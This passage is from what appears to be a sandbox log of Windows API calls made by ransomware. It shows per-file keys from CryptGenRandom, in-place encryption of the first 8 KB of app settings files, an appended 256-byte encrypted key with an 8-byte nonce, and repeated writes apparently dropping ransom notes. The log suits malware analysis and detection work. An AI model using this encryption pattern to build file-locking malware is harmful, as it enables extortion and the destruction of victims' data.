dwFileAttributes=0x80) returned 1 [0166.770] ReadFile (in: hFile=0x13a0, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.771] SetFilePointer (in: hFile=0x13a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.771] WriteFile (in: hFile=0x13a0, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.772] SetFilePointer (in: hFile=0x13a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.772] WriteFile (in: hFile=0x13a0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.772] WriteFile (in: hFile=0x13a0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.772] CloseHandle (hObject=0x13a0) returned 1 [0166.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.775] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.776] ReadFile (in: hFile=0x13a0, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.776] SetFilePointer (in: hFile=0x13a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.776] WriteFile (in: hFile=0x13a0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.776] SetFilePointer (in: hFile=0x13a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.776] WriteFile (in: hFile=0x13a0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.777] WriteFile (in: hFile=0x13a0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.778] CloseHandle (hObject=0x13a0) returned 1 [0166.780] WriteFile (in: hFile=0x13ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.781] CloseHandle (hObject=0x13ac) returned 1 [0166.781] WriteFile (in: hFile=0x13ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.782] CloseHandle (hObject=0x13ac) returned 1 [0166.782] WriteFile (in: hFile=0x13ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.783] CloseHandle (hObject=0x13ac) returned 1 [0166.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.784] ReadFile (in: hFile=0x13c0, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.791] SetFilePointer (in: hFile=0x13c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.791] WriteFile (in: hFile=0x13c0, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.792] SetFilePointer (in: hFile=0x13c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.792] WriteFile (in: hFile=0x13c0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x13c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.793] CloseHandle (hObject=0x13c0) returned 1 [0166.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.807] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.807] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.807] ReadFile (in: hFile=0x13c0, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.807] SetFilePointer (in: hFile=0x13c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.807] WriteFile (in: hFile=0x13c0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.807] SetFilePointer (in: hFile=0x13c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.808] WriteFile (in: hFile=0x13c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.809] WriteFile (in: hFile=0x13c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.809] CloseHandle (hObject=0x13c0) returned 1 [0166.812] WriteFile (in: hFile=0x13cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.813] CloseHandle (hObject=0x13cc) returned 1 [0166.813] WriteFile (in: hFile=0x13cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.814] CloseHandle (hObject=0x13cc) returned 1 [0166.814] WriteFile (in: hFile=0x13cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.815] CloseHandle (hObject=0x13cc) returned 1 [0166.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.816] ReadFile (in: hFile=0x13e0, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.824] SetFilePointer (in: hFile=0x13e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.824] WriteFile (in: hFile=0x13e0, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.825] SetFilePointer (in: hFile=0x13e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.825] WriteFile (in: hFile=0x13e0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.826] WriteFile (in: hFile=0x13e0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.826] CloseHandle (hObject=0x13e0) returned 1 [0166.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.829] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.829] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.830] ReadFile (in: hFile=0x13e0, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.830] SetFilePointer (in: hFile=0x13e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.830] WriteFile (in: hFile=0x13e0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.830] SetFilePointer (in: hFile=0x13e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.830] WriteFile (in: hFile=0x13e0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.832] WriteFile (in: hFile=0x13e0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.832] CloseHandle (hObject=0x13e0) returned 1 [0166.835] WriteFile (in: hFile=0x13ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.836] CloseHandle (hObject=0x13ec) returned 1 [0166.837] WriteFile (in: hFile=0x13ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.838] CloseHandle (hObject=0x13ec) returned 1 [0166.839] WriteFile (in: hFile=0x13ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.839] CloseHandle (hObject=0x13ec) returned 1 [0166.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.840] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.840] ReadFile (in: hFile=0x1404, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.840] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.840] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.841] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.841] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.841] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.841] WriteFile (in: hFile=0x1404, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.842] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.842] CloseHandle (hObject=0x1404) returned 1 [0166.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.848] ReadFile (in: hFile=0x1404, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.856] SetFilePointer (in: hFile=0x1404, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.856] WriteFile (in: hFile=0x1404, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.857] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.857] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.857] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.857] WriteFile (in: hFile=0x1404, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.858] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.858] CloseHandle (hObject=0x1404) returned 1 [0166.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.860] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.861] ReadFile (in: hFile=0x1404, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.869] SetFilePointer (in: hFile=0x1404, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.869] WriteFile (in: hFile=0x1404, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.869] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.869] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.869] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.870] WriteFile (in: hFile=0x1404, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.870] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.870] CloseHandle (hObject=0x1404) returned 1 [0166.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.872] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.872] ReadFile (in: hFile=0x1404, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.872] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.872] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.872] SetFilePointer (in: hFile=0x1404, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.873] 